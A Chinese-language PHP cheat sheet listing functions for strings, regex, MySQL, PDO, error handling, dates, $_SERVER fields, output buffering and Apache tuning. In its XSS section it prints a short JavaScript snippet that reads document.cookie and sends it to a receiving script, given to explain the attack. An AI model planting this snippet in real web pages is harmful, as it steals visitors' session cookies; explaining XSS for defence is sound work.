;iconv.internal\_encoding = ISO-8859-1

iconv\_set\_encoding($type, $charset);

$type：input\_encoding，output\_encoding，internal\_encoding

iconv\_get\_encoding([$type = "all"])

$type：all，input\_encoding，output\_encoding，internal\_encoding

iconv($in\_charset, $out\_charset, $str) //将字符串转换为目标编码

指定编码，可解决中文字符的统计、查询、截取等！

iconv\_strlen($str [,$charset]) //统计字符串的字符数

iconv\_strpos($str, $needle, $offset [,$charset]) //查找子串首次出现的位置

iconv\_strrpos($str, $needle [,$charset]) //查找子串最后一次出现的位置

iconv\_substr($str, $offset [,$len [,$charset]]) //截取子串

/\* 【字符串函数】\*/

addslashes($str) //使用反斜线转移字符串

stripcslashes($str) //反引用一个使用addcslashes转义的字符串

stripslashes($str) //反引用一个引用字符串

chr($ascii) //返回ASCII码的字符

ord($char) //返回字符的ASCII码

substr\_count($haystack, $needle) //计算子串出现的次数

count\_chars($str [,$mode]) 统计每个字节值出现的次数

//0 - 以所有的每个字节值作为键名，出现次数作为值的数组。

//1 - 与0相同，但只列出出现次数大于零的字节值。

//2 - 与0相同，但只列出出现次数等于零的字节值。

//3 - 返回由所有使用了的字节值组成的字符串。

//4 - 返回由所有未使用的字节值组成的字符串。

crypt($str, [$salt]) //单向字符串散列

str\_split($str [,$len]) //将字符串按长度分割为数组

explode($separ, $str) //使用一个字符串分割另一个字符串

implode([$glue,] $arr) //将数组元素的值根据$glue连接成字符串

chunk\_split($str [,$len [,$end]]) //将字符串分割成小块

$len：每段字符串的长度，$end：每段字符串末尾加的字符串(如"\r\n")

html\_entity\_decode($str [,$flags [,$encoding]]) //将HTML实体转成字符信息

htmlentities($str [,$flags [,$encoding]]) //将字符信息转成HTML实体

htmlspecialchars\_decode($str) //将特殊HTML实体转成字符信息

htmlspecialchars($str [,$flags [,$encoding]]) //将字符信息转成特殊HTML实体

lcfirst($str) //将字符串首字母转成小写

ucfirst($str) //将字符串首字母转成大写

ucwords($str) //将字符串中每个单词的首字母转换为大写

strtolower($str) //将字符串转化为小写

strtoupper($str) //将字符串转化为大写

trim($str [,$charlist]) //去除字符串首尾处的空白字符（或者其他字符）

ltrim($str [,$charlist]) //去除字符串首段的空白字符（或者其他字符）

rtrim($str [,$charlist]) //去除字符串末端的空白字符（或者其他字符）

md5\_file($file) //计算指定文件的MD5散列值

md5($str) //计算字符串的MD5散列值

money\_format($format, $num) //将数字格式化为货币形式

number\_format($num) //格式化数字

nl2br($str) //在字符串所有新行之前插入HTML换行标记<br />

parse\_str($str, [$arr]) //解析字符串

print($str) //输出字符串

printf //输出格式化字符串

sprintf($format [,$args...]) //格式化字符串

sha1\_file //计算文件的sha1散列值

sha1 //计算字符串的sha1散列值

similar\_text($first, $second [,$percent]) //计算两个字符串的相似度

返回在两个字符串中匹配字符的数目，$percent存储相似度百分比

str\_replace($search, $replace, $str [,$count [,$type]]) //子字符串替换

str\_ireplace //字符串替换(忽略大小写)

str\_pad($str, $len [,$pad [,$type]]) //使用另一个字符串填充字符串为指定长度

$type：在何处填充。STR\_PAD\_RIGHT，STR\_PAD\_LEFT 或 STR\_PAD\_BOTH

str\_repeat($str, $num) //重复一个字符串

str\_shuffle($str) //随机打乱一个字符串

str\_word\_count($str [,$format [,$charlist]]) //返回字符串中单词的使用情况

strcasecmp($str1, $str2) //二进制安全比较字符串（不区分大小写）

如果str1小于str2，返回负数；如果str1大于str2，返回正数；二者相等则返回0。

strcmp($str1, $str2) //二进制安全字符串比较

strcoll($str1, $str1) //基于区域设置的字符串比较(区分大小写，非二进制安全)

strcspn($str1, $str1 [,$start [,$len]]) //获取不匹配遮罩的起始子字符串的长度

strip\_tags($str) //从字符串中去除HTML和PHP标记

strpos($haystack, $needle [,$offset]) //查找字符串首次出现的位置

stripos($haystack, $needle [,$offset]) //查找字符串首次出现的位置（不区分大小写）

strripos($haystack, $needle [,$offset]) //计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

strrpos($haystack, $needle [,$offset]) //计算指定字符串在目标字符串中最后一次出现的位置

strlen($str) //获取字符串长度

strpbrk($haystack, $str) //在字符串中查找一组字符的任何一个字符

strrev($str) //反转字符串

join('', array\_reverse(preg\_split("//u", $str))); //实现对UTF-8字符串的反转

strspn$subject, $mask) //计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。

strstr($haystack, $needle) //查找字符串的首次出现

stristr($haystack, $needle) //查找字符串的首次出现(不区分大小写)

strrchr($haystack, $needle) //查找指定字符在字符串中的最后一次出现

strtok($str, $token) //标记分割字符串

substr\_compare($main\_str, $str, $offset [,$len) //二进制安全比较字符串（从偏移位置比较指定长度）

substr\_replace$str, $replace, $start [,$len] //替换字符串的子串

strtr($str, $from, $to) //转换指定字符

substr($str, $start [,$len]) //返回字符串的子串

vfprintf$handle, $format, $args) //将格式化字符串写入流

vprintf($format, $args) //输出格式化字符串

vsprintf($format, $args) //返回格式化字符串

wordwrap($str [,$width=75 [,$break='\n']]) //打断字符串为指定数量的字串

crc32($str) //计算一个字符串的crc32多项式

crc32算法[循环冗余校验算法]

生成str的32位循环冗余校验码多项式。将数据转换成整数。

/\* mbstring(多字节字符串) \*/

//需开启mbstring扩展

mb\_strimwidth($str, $start, $width [,$trim [,$encoding]]) //保留指定的子串(并补充)

mb\_stripos($str, $needle [,$offset [,$encoding]]) //查找子串首次出现的位置(忽略大小写)

mb\_strpos($str, $needle [,$offset [,$encoding]]) //查找子串首次出现的位置

mb\_strripos($str, $needle [,$offset [,$encoding]]) //查找子串最后一次出现的位置(忽略大小写)

mb\_strrpos($str, $needle [,$offset [,$encoding]]) //查找子串最后一次出现的位置

mb\_strstr($str, $needle [,$before [,$encoding]]) //返回子串首次出现位置之后(前)的字符串

mb\_stristr($str, $needle [,$before [,$encoding]]) //返回子串首次出现位置之后(前)的字符串(忽略大小写)

mb\_strrchr($str, $needle [,$before [,$encoding]]) //返回字符最后一次出现位置之后(前)的字符串

mb\_strrichr($str, $needle [,$before [,$encoding]]) //返回字符最后一次出现位置之后(前)的字符串(忽略大小写)

mb\_strtoupper($str [,$encoding]) //转换成大写

mb\_strtolower($str [,$encoding]) //转换成小写

mb\_strlen($str [,$encoding]) //获取字符串长度

mb\_split($pattern, $str [,$limit]) //将字符串分割成数组

mb\_substr($str, $start [,$len [,$encoding]]) //获取字符串的子串

mb\_strcut($str, $start [,$len [,$encoding]]) //获取字符串的子串

mb\_strwidth($str [,$encoding]) //获取字符串的宽度

mb\_substr\_count($str, $needle [,$encoding]) //子串在字符串中出现的次数

/\* PCRE函数 \*/

preg\_filter($pattern, $replace, $subject [,$limit [,&$count]]) 执行一个正则表达式搜索和替换

preg\_replace($pattern, $replace, $subject [,$limit [,&$count]]) 执行一个正则表达式搜索和替换

preg\_replace\_callback($pattern, $callback, $subject [,$limit [,&$count]]) 执行一个正则表达式搜索并且使用一个回调进行替换

preg\_grep($pattern, $input [,$flags]) 返回匹配模式的数组条目

preg\_match($pattern, $subject [,&$matches [,$flags [,$offset]]]) 执行一个正则表达式匹配

preg\_match\_all($pattern, $subject [,&$matches [,$flags [,$offset]]]) 执行一个全局正则表达式匹配

$matches存放返回的结果

$matches[0][n] (n>=0) 表示存放第n+1个匹配到的结果

$matches[m][n] (m>=1, n>=0) 表示存放第n+1个匹配到结果的第m个表达式的内容

preg\_split($pattern, $subject [,$limit [,$flags]]) 通过一个正则表达式分隔字符串

$limit表示限制分隔得到的子串最多只有limit个，-1表示不限制

$flags参数：

PREG\_SPLIT\_NO\_EMPTY：将返回分隔后的非空部分

PREG\_SPLIT\_DELIM\_CAPTURE：用于分隔的模式中的括号表达式将被捕获并返回

PREG\_SPLIT\_OFFSET\_CAPTURE：对于每一个出现的匹配返回时将会附加字符串偏移量

preg\_quote($str [,$delimiter]) 转义正则表达式字符

preg\_last\_error() 返回最后一个PCRE正则执行产生的错误代码

/\* Math函数 \*/

base\_convert($number, $frombase, $tobase) //在任意进制之间转换数字

ceil($float) //向上取整

floor($float) //向下取整

exp($float) //计算e的指数

hypot($x, $y) //计算直角三角形的斜边长

is\_nan($val) //判断是否为合法数值

log($arg [,$base=e]) //自然对数

max($num1, $num2, ...) //找出最大值

max($arr) //找出数组中的最大值

min($num1, $num2, ...) //找出最小值

rand([$min], $max) //产生一个随机整数

srand([$seed]) //播下随机数发生器种子

mt\_rand([$min], $max) //生成更好的随机数

mt\_srand($seed) //播下一个更好的随机数发生器种子

pi() //得到圆周率值

pow($base, $exp) //指数表达式

sqrt($float) //求平方根

deg2rad($float) //将角度转换为弧度

rad2deg($float) //将弧度数转换为相应的角度数

round($val [,$pre=0]) //对浮点数进行四舍五入

fmod($x, $y) //返回除法的浮点数余数

/\* 【MySQL函数】 \*/

mysql\_client\_encoding([$link]) //返回字符集的名称

mysql\_set\_charset($charset [,$link]) //设置客户端字符集编码

mysql\_connect($host, $user, $pass) //打开一个到MySQL服务器的连接

mysql\_create\_db($db [,$link]) //新建一个MySQL数据库

mysql\_pconnect($host, $user, $pass) //打开一个到MySQL服务器的持久连接

mysql\_ping([$link]) //Ping一个服务器连接，如果没有连接则重新连接

mysql\_close([$link]) //关闭MySQL连接

mysql\_data\_seek($result, $row) //移动内部结果的指针

mysql\_errno([$link]) //返回上一个MySQL操作中的错误信息的数字编码

mysql\_error([$link]) //返回上一个MySQL操作产生的文本错误信息

mysql\_affected\_rows([$link]) //取得前一次MySQL操作所影响的记录行数

mysql\_info([$link]) //取得最近一条查询的信息

mysql\_insert\_id([$link]) //取得上一步INSERT操作产生的ID

mysql\_query($sql [,$link]) //发送一条MySQL查询

mysql\_unbuffered\_query($sql [,$link]) //向MySQL发送一条SQL查询，并不获取和缓存结果的行

mysql\_db\_query($db, $sql [,$link]) //发送一条MySQL查询

mysql\_escape\_string($str) //转义一个字符串用于mysql\_query

mysql\_real\_escape\_string($str) //转义SQL语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集

mysql\_fetch\_array($result [,$type]) //从结果集中取得一行作为关联数组，或数字数组，或二者兼有

mysql\_fetch\_assoc($result) //从结果集中取得一行作为关联数组

mysql\_fetch\_object($result) //从结果集中取得一行作为对象

mysql\_fetch\_row($result) //从结果集中取得一行作为枚举数组

mysql\_fetch\_field($result) //从结果集中取得列信息并作为对象返回

mysql\_num\_fields($result) //取得结果集中字段的数目

mysql\_num\_rows($result) //取得结果集中行的数目

mysql\_fetch\_lengths($result) //取得结果集中每个输出的长度

mysql\_field\_flags($result, $field\_offset) //从结果中取得和指定字段关联的标志

mysql\_field\_len($result, $field\_offset) //返回指定字段的长度

mysql\_field\_name($result, $field\_offset) //取得结果中指定字段的字段名

mysql\_field\_seek($result, $field\_offset) //将结果集中的指针设定为制定的字段偏移量

mysql\_field\_table($result, $field\_offset) //取得指定字段所在的表名

mysql\_field\_type($result, $field\_offset) //取得结果集中指定字段的类型

mysql\_free\_result($result) //释放结果内存

mysql\_list\_dbs([$link]) //列出MySQL服务器中所有的数据库

mysql\_list\_fields($db, $table [,$link]) //列出MySQL结果中的字段

mysql\_list\_processes([$link]) //列出MySQL进程

mysql\_list\_tables($db [,$link]) //列出MySQL数据库中的表

mysql\_result($result, $row [$field]) //取得结果数据

mysql\_select\_db($db [,$link]) //选择MySQL数据库

mysql\_tablename($result, $i) //取得表名

mysql\_db\_name($result, $row [,$field]) //取得mysql\_list\_dbs()调用所返回的数据库名

mysql\_stat([$link]) //取得当前系统状态

mysql\_thread\_id([$link]) //返回当前线程的ID

mysql\_get\_client\_info() //取得MySQL客户端信息

mysql\_get\_host\_info() //取得MySQL主机信息

mysql\_get\_proto\_info() //取得MySQL协议信息

mysql\_get\_server\_info() //取得MySQL服务器信息

/\* 【SQL注入】 \*/

特殊字符导致的问题：

1. 转义：mysql\_real\_escape\_string()

对外来数据(GPC: GET, POST, COOKIE)进行转义

2. 先查询当前记录行，再匹配用户名

//魔术引号机制

自动为所有提交到服务器的数据增加特殊符号的转义。

当打开时，所有的单引号，双引号，反斜线和NULL字符都会被自动加上一个反斜线进行转义。这和addslashes()作用完全相同。

php.ini配置：

magic\_quotes\_gpc = Off

get\_magic\_quotes\_gpc() 获取当前魔术引号机制的配置信息

/\* 【错误处理】 \*/

解析错误、运行错误

//标准错误：

级别、信息、文件、行号

trigger\_error 触发一个用户自定义的error/warning/notice错误信息

//php.ini配置，ini\_set()

error\_reporting 设置报告哪些级别的错误

# 错误报告：显示到页面

display\_errors = On 是否显示错误报告

# 错误日志：存放到文件

log\_errors = on 是否开启错误日志

error\_log 发送错误信息到错误日志文件

- 错误报告和错误日志可同时启用！

自定义错误处理器

set\_error\_handler — 注册自定义错误处理器函数

- 自定义处理器函数包含4个参数，分别是级别、信息、文件、行号

- 开启自定义错误处理器，则系统内置的错误报告和错误日志则不会执行。

- 自定义错误处理器函数返回false，则自定义函数结束后系统内置的会继续执行。

- 用户定义的错误级别(E\_USER\_ERROR)，可以被自定义的错误处理器所捕获并继续执行。系统内置的错误，则脚本会立即停止。

restore\_error\_handler — 恢复预定义错误处理器函数

error\_get\_last — 获取最近的错误信息

//错误处理函数

debug\_backtrace 产生一条回溯跟踪

返回数组，包含的键值：function, line, file, class, object, type, args

debug\_print\_backtrace 打印一条回溯

//错误常量

手册>错误处理

#生产模式

关闭错误报告，记录错误日志。

#开发模式

关闭错误日志，开启错误报告。

//异常

面向对象语法中的错误处理方式。

一个异常就是一个包含当前异常信息的对象。

预定义异常类Exception及其扩展类。

#抛出异常

触发一个异常的错误

throw new UserException();

如果没有被捕获，则报告致命错误。

#监视异常

try {代码段}

#捕获异常

catch (UserException $obj) {代码段}

需要通过当前异常的类型匹配才可悲捕获。

#异常处理器

用以处理未被捕获的异常。

异常处理器函数与catch类似，参数也是含类型的对象。

set\_exception\_handler — 注册异常处理器函数

restore\_exception\_handler — 恢复预定义的异常处理器函数

#自定义异常

用户定义的异常类须继承自Exception类。

//异常相关属性

protected string $message 异常消息内容

protected int $code 异常代码

protected string $file 抛出异常的文件名

protected int $line 抛出异常在该文件中的行号

//异常相关方法

Exception::\_\_construct — 异常构造函数

Exception::getMessage — 获取异常消息内容

Exception::getPrevious — 返回异常链中的前一个异常

Exception::getCode — 获取异常代码

Exception::getFile — 获取发生异常的程序文件名称

Exception::getLine — 获取发生异常的代码在文件中的行号

Exception::getTrace — 获取异常追踪信息

Exception::getTraceAsString — 获取字符串类型的异常追踪信息

Exception::\_\_toString — 将异常对象转换为字符串

Exception::\_\_clone — 异常克隆

/\* 【数据库抽象层】 \*/

PDO:PHP Data Objects

PHO抽象层默认被加载，但需加载相应数据库的驱动。

PDO是OOP语法，提供三个类：

PDO：PDO自身

PDOStatement：PDO语句类，提供对语句的后续处理

PDOException：PDO异常类，提供对错误的异常处理

//连接数据库

PDO::\_\_construct(str $dsn [,str $username [,str $password [,arr $driver\_options]]])

DSN：Data Source Name，数据源

$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3306';

//执行没有返回结果的SQL语句

int PDO::exec(str $statement) //返回影响的记录数

//执行有返回结果集的SQL语句

PDOStatement PDO::query (string $statement) //返回PDOStatement对象

//处理结果集(PDOStatement对象)

array PDOStatement::fetchAll([int $fetch\_style [,mixed $fetch\_argument [,array $ctor\_args = array()]]]) //默认返回关联+索引数组

mixed PDOStatement::fetch ([ int $fetch\_style [, int $cursor\_orientation = PDO::FETCH\_ORI\_NEXT [, int $cursor\_offset = 0 ]]] ) //返回一行

string PDOStatement::fetchColumn ([ int $column\_number = 0 ] ) //返回一列

//释放资源

unset($pdo) 或 $pdo = null

//错误报告

静默模式：silent mode，出现错误，不主动报告错误（默认）

array PDO::errorInfo(void)

警告模式：warning mode，出现错误，触发一个警告级别的错误

异常错误：exception mode，出现错误，抛出异常

bool PDO::setAttribute(int $attribute, mixed $value) //设置PDO类属性值

PDO::setAttribute('PDO::ATTR\_ERRMODE', 'PDO::ERRMODE\_SILENT | PDO::ERRMODE\_WARNING | PDO::ERRMODE\_EXCEPTION')

//预处理式执行SQL

可对数据自动转义，可有效抵制SQL注入。

PDOStatement PDO::prepare(string $statement [,array $driver\_options=array()])

bool PDOStatement::bindParam ( mixed $parameter , mixed &$variable [, int $data\_type = PDO::PARAM\_STR [, int $length [, mixed $driver\_options ]]] )

bool PDOStatement::execute ([ array $input\_parameters ] )

/\* 【AR模式】 \*/

表 -> 类

字段 -> 类属性

数据 -> 对象

/\* Date/Time \*/

date($format [,$timestamp]) //格式化一个本地时间／日期，$timestamp默认为time()

Y：4位数字完整表示的年份

m：数字表示的月份，有前导零

d：月份中的第几天，有前导零的2位数字

j：月份中的第几天，没有前导零

H：小时，24小时格式，有前导零

h：小时，12小时格式，有前导零

i：有前导零的分钟数

s：秒数，有前导零

L：是否为闰年，如果是闰年为1，否则为0

M：三个字母缩写表示的月份，Jan到Dec

W：年份中的第几周，每周从星期一开始

z：年份中的第几天

N：数字表示的星期中的第几天

w：星期中的第几天，数字表示

e：时区标识

T：本机所在的时区

U：从Unix纪元开始至今的秒数(时间戳)

time() //返回当前的Unix时间戳(秒)

microtime([$get\_as\_float]) //返回当前Unix时间戳和微秒数

$get\_as\_float参数存在并且其值等价于TRUE，将返回一个浮点数

strtotime($time [,$now]) //将任何英文文本的日期时间描述解析为Unix时间戳

date("Y-m-d H:i:s", strtotime("-1 day")); //格式化前一天的时间戳

"now"

"10 September 2000"

"+1 week"

"+1 week -2 days 4 hours 2 seconds"

"last Monday"

"next Thursday"

gmdate($format [,$timestamp]) //格式化一个GMT/UTC 日期／时间

mktime([$hour = date("H") [,$minute = date("i") [,$second = date("s") [,$month = date("n") [,$day = date("j") [,$year = date("Y") [,$is\_dst = -1]]]]]]]) //取得一个日期的Unix时间戳

strftime($format [,$timestamp]) //根据区域设置格式化本地时间／日期

date\_default\_timezone\_get($timezone) //获取默认时区

date\_default\_timezone\_set($timezone) //设置默认时区

/\* DateTime \*/

//date()函数能处理有效时间戳范围是格林威治时间 1901 年 12 月 13 日 20:45:54 到 2038 年 1 月 19 日 03:14:07(因为32位系统能最大正整数限制)

DateTime::\_\_construct([$time="now"]) //构造方法

$time若是时间戳，则在时间戳前加@符号，如'@2345678'

DateTime::setTimezone($timezone) //设置时区

eg: $date->setTimezone(new DateTimeZone('PRC'));

DateTime::format($format) //格式化时间戳，格式化字符串形式同date()函数

/\* $\_SERVER \*/

//示例URL：http://desktop/dir/demo.php?a=aaa&b=bbb

PHP\_SELF 当前执行脚本的文件名 // /dir/demo.php

GATEWAY\_INTERFACE 服务器使用的CGI规范的版本 // CGI/1.1

SERVER\_ADDR 当前运行脚本所在的服务器的IP地址 // 127.0.0.1

SERVER\_NAME 当前运行脚本所在的服务器的主机名 // desktop

SERVER\_SOFTWARE 服务器标识字符串 // Apache/2.2.22 (Win32) PHP/5.3.13

SERVER\_PROTOCOL 请求页面时通信协议的名称和版本 // HTTP/1.1

REQUEST\_METHOD 访问页面使用的请求方式 // GET

REQUEST\_TIME 请求开始时的时间戳 // 1386032633

QUERY\_STRING 查询字符串(参数) // a=aaa&b=bbb

DOCUMENT\_ROOT 当前运行脚本所在的文档根目录 // C:/Users/Administrator/Desktop

HTTP\_ACCEPT 当前请求头中Accept:项的内容 // text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

HTTP\_ACCEPT\_CHARSET 当前请求头中Accept-Charset:项的内容 // UTF-8,\*

HTTP\_ACCEPT\_ENCODING 当前请求头中Accept-Encoding:项的内容 // gzip, deflate

HTTP\_ACCEPT\_LANGUAGE 当前请求头中Accept-Language:项的内容 // zh-cn,zh;q=0.5

HTTP\_CONNECTION 当前请求头中Connection:项的内容 // keep-alive

HTTP\_HOST 当前请求头中Host:项的内容 // desktop

HTTP\_REFERER 引导用户代理到当前页的前一页的地址

HTTP\_USER\_AGENT 当前请求头中User-Agent:项的内容 // Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1

HTTPS 如果脚本是通过HTTPS协议被访问，则被设为一个非空的值

REMOTE\_ADDR 浏览当前页面的用户的IP地址 // 127.0.0.1

REMOTE\_HOST 浏览当前页面的用户的主机名

REMOTE\_PORT 用户机器上连接到Web服务器所使用的端口号 // 49197

REMOTE\_USER 经验证的用户

REDIRECT\_REMOTE\_USER 验证的用户，如果请求已在内部重定向

SCRIPT\_FILENAME 当前执行脚本的绝对路径 // C:/Users/Administrator/Desktop/dir/demo.php

SERVER\_ADMIN 该值指明了Apache服务器配置文件中的SERVER\_ADMIN参数 //admin@shocker.com

SERVER\_PORT Web服务器使用的端口 // 80

SERVER\_SIGNATURE 包含了服务器版本和虚拟主机名的字符串

PATH\_TRANSLATED 当前脚本所在文件系统（非文档根目录）的基本路径

SCRIPT\_NAME 当前脚本的路径 // /dir/demo.php

REQUEST\_URI URI用来指定要访问的页面 // /dir/demo.php?a=aaa&b=bbb

PHP\_AUTH\_DIGEST 客户端发送的“Authorization” HTTP头内容

PHP\_AUTH\_PW 用户输入的密码

AUTH\_TYPE 认证的类型

PATH\_INFO 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句（query string）之前的路径信息

ORIG\_PATH\_INFO 在被PHP处理之前，“PATH\_INFO”的原始版本

/\* 缓存 \*/

1. ob缓存(输出缓存)(需开启)

php.ini设置中开启并设置输出缓存大小：output\_buffering = 4096

ob\_start() 开启当前脚本页面的输出缓存

如果输出缓存打开，则输出的数据先放到输出缓存(header函数前可以有输出)，否则直接放入程序缓存。

header()函数发送的内容直接放入程序缓存。

开启输出缓存后，输出缓存数据会刷新到程序缓存，然后有Apache封装成http响应包返回给浏览器。

输出缓存：存放的数据是从开启输出缓存开始返回给浏览器的所有静态页面数据！

2. 程序缓存(内部缓存，必须存在，不能关闭)

3. 浏览器缓存

/\* ob缓存(输出控制) \*/ Output Buffering

ob\_start() //打开一个输出缓冲区，所有的输出信息不再直接发送到浏览器，而是保存在输出缓冲区里面。

ob\_start('ob\_gzhandler'); //将gz编码的数据发送到支持压缩页面的浏览器

ob\_clean(); //删除内部缓冲区的内容，不关闭缓冲区(不输出)。

ob\_end\_clean(); //删除内部缓冲区的内容，关闭缓冲区(不输出)。

ob\_get\_clean(); //返回内部缓冲区的内容，关闭缓冲区。相当于执行ob\_get\_contents()与ob\_end\_clean()

ob\_flush(); //发送内部缓冲区的内容到浏览器，删除缓冲区的内容，不关闭缓冲区。

ob\_end\_flush(); //发送内部缓冲区的内容到浏览器，删除缓冲区的内容，关闭缓冲区。

ob\_get\_flush(); //返回内部缓冲区的内容，并关闭缓冲区，再释放缓冲区的内容。相当于ob\_end\_flush()并返回缓冲区内容。

flush(); //将当前为止程序的所有输出发送到用户的浏览器

ob\_get\_contents(); //返回缓冲区的内容，不输出。

ob\_get\_length(); //返回内部缓冲区的长度，如果缓冲区未被激活，该函数返回FALSE。

ob\_get\_level(); //Return the nesting level of the output buffering mechanism.

ob\_get\_status(); //获取ob状态信息

ob\_implicit\_flush(); //打开或关闭绝对刷新，默认为关闭，打开后ob\_implicit\_flush(true)，所谓绝对刷新，即当有输出语句(e.g: echo)被执行时，便把输出直接发送到浏览器，而不再需要调用flush()或等到脚本结束时才输出。

ob\_gzhandler //ob\_start回调函数，用gzip压缩缓冲区的内容。

ob\_list\_handlers //List all output handlers in use

output\_add\_rewrite\_var //Add URL rewriter values

output\_reset\_rewrite\_vars //Reset URL rewriter values

这些函数的行为受php\_ini设置的影响：

output\_buffering //该值为ON时，将在所有脚本中使用输出控制；若该值为一个数字，则代表缓冲区的最大字节限制，当缓存内容达到该上限时将会自动向浏览器输出当前的缓冲区里的内容。

output\_handler //该选项可将脚本所有的输出，重定向到一个函数。例如，将 output\_handler 设置为 mb\_output\_handler() 时，字符的编码将被修改为指定的编码。设置的任何处理函数，将自动的处理输出缓冲。

implicit\_flush //作用同ob\_implicit\_flush，默认为Off。

//ob缓存作用

1)防止在浏览器有输出之后再使用setcookie()、header()或session\_start()等发送头文件的函数造成的错误。其实这样的用法少用为好，养成良好的代码习惯。

2)捕捉对一些不可获取的函数的输出，比如phpinfo()会输出一大堆的HTML，但是我们无法用一个变量例如$info=phpinfo();来捕捉，这时候ob就管用了。

3)对输出的内容进行处理，例如进行gzip压缩，例如进行简繁转换，例如进行一些字符串替换。

4)生成静态文件，其实就是捕捉整页的输出，然后存成文件。经常在生成HTML，或者整页缓存中使用。

/\* 网站并发 \*/

测试工具：apache/bin/ab.exe

用法：cmd{%apache-bin%}>ab.exe -n 执行访问次数 -c 用户并发数量 URL地址

MPM(多路处理模块)：perfork(预处理模式), worker(工作者模式), winnt(Win系统)

MPM配置：httpd-mpm.conf

查看当前MPM模式：httpd –l mpm\_xxx.c中xxx表示当前模式类型

httpd.conf配置(开启MPM)：#Include conf/extra/httpd-mpm.conf

#参考配置

#配置文件：extra/httpd-mpm.conf

#mpm\_winnt.c

<IfModule mpm\_winnt\_module>

ThreadsPerChild 1000 #中型网站1500-5500合理

MaxRequestsPerChild 0

</IfModule>

#mpm\_prefork.c

<IfModule mpm\_prefork\_module>

StartServers 5 #预先启动

MinSpareServers 5

MaxSpareServers 10 #最大空闲进程

ServerLimit 1500 #用于修改apache编程参数

MaxClients 1000 #最大并发数

MaxRequestsPerChild 0 #一个进程对应的线程数，对worker更用

</IfModule>

#如果你的网站pv值上百万

ServerLimit 2500 #用于修改apache编程参数

MaxClients 2000 #最大并发数

/\* 静态化 \*/

1. 页面URL长度不超过255字节

2. meta信息尽量完整，keywords5个左右

3. 前端不要使用框架

4. 图片alt属性添加信息

5. 静态页面不要带动态值

<script type="text/javascript" language="javascript" src="url"></script>

url可以是js/php/图片等，返回的数据替换<script>标签所在位置的内容！相当于简单的Ajax

/\* Apache压缩 \*/

gzip/deflate

/\* XSS攻击 \*/

#恶意JS代码

#不规则HTML代码

开源过滤器：htmlpurifier

//获取COOKIE

<script>

var c = document.cookie; //获取COOKIE

var script = document.createElement('script'); //创建script标签

script.src = 'demo.php?c=' + c; //发送到指定的文件接收

document.body.appendChild(script); //添加到DOM对象中生效

</script>

/\* 命令行CLI \*/

//显示帮助信息

php -h

//解析并运行-f选项给定的文件名

php [-f] <file> [--] [args...]

//在命令行内运行单行PHP代码

php [options] -r <code> [--] [args...]

无需加上PHP的起始和结束标识符，否则将会导致语法解析错误

//调用phpinfo()函数并显示出结果

php -i/--info

//检查PHP语法

php -l/--syntax-check

//打印出内置以及已加载的PHP及Zend模块

php -m/--modules

//将PHP，PHP SAPI和Zend的版本信息写入标准输出

php -v/--version

//参数接收

$argv 传递给脚本的参数数组

第一个参数总是当前脚本的文件名，因此$argv[0]就是脚本文件名

$argc 传递给脚本的参数数目

脚本的文件名总是作为参数传递给当前脚本，因此$argc的最小值为1

包含当运行于命令行下时传递给当前脚本的参数的数组

此两个变量仅在register\_argc\_argv打开时可用

/\* 设计模式 \*/

单例模式：为一个类生成一个唯一的对象。使用单例模式生成一个对象后，该对象可以被其它众多对象所使用。

工厂模式：封装对象的建立过程。可以在对象本身创建对象工厂或者是一个额外的工厂类

MVC模式：用户->控制器->模型->控制器->视图->控制器->用户

/\* 配置选项 \*/

set\_time\_limit($seconds) //设置脚本最大执行时间(默认30秒)，0表示不限制

ini\_get($varname) //获取一个配置选项的值

ini\_set($varname, $newvalue) //为一个配置选项设置值

extension\_loaded($ext\_name) //检测一个扩展是否已经加载

get\_extension\_funcs($ext\_name) //返回模块函数名的数组

/\* 【其他】 \*/

version\_compare(str $ver1, str $ver2 [,str $operator]) //比较版本号

$operator表示操作符，可选：<, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne

如果省略$operator，返回两个版本号的差值。

符号@ 用于抑制系统运行错误的报告显示

memory\_get\_usage //获取当期内存使用情况

memory\_get\_peak\_usage //获取内存使用的峰值

getrusage //获取CPU使用情况(Windows不可用)

uniqid([$prefix]) //获取一个带前缀、基于当前时间微秒数的唯一ID

highlight\_string($str [,$return]) //字符串的语法高亮

$return：设置为TRUE，高亮后的代码不会被打印输出，而是以字符串的形式返回。高亮成功返回TRUE，否则返回FALSE。

highlight\_file($file [,$return]) //语法高亮一个文件

\_\_halt\_compiler //中断编译器的执行

get\_browser //获取浏览器具有的功能

get\_browser ([ string $user\_agent [, bool $return\_array = false ]] )

如果设置为 TRUE，该函数会返回一个 array，而不是 object

eval($code) //把字符串作为PHP代码执行

gzcompress($str [,$level=-1]) //压缩字符串

gzuncompress($str) //解压缩字符串

gzencode($str [,$level=-1]) //压缩字符串

gzdecode($str) //解压缩字符串

ignore\_user\_abort($bool) //设置客户端断开连接时是否中断脚本的执行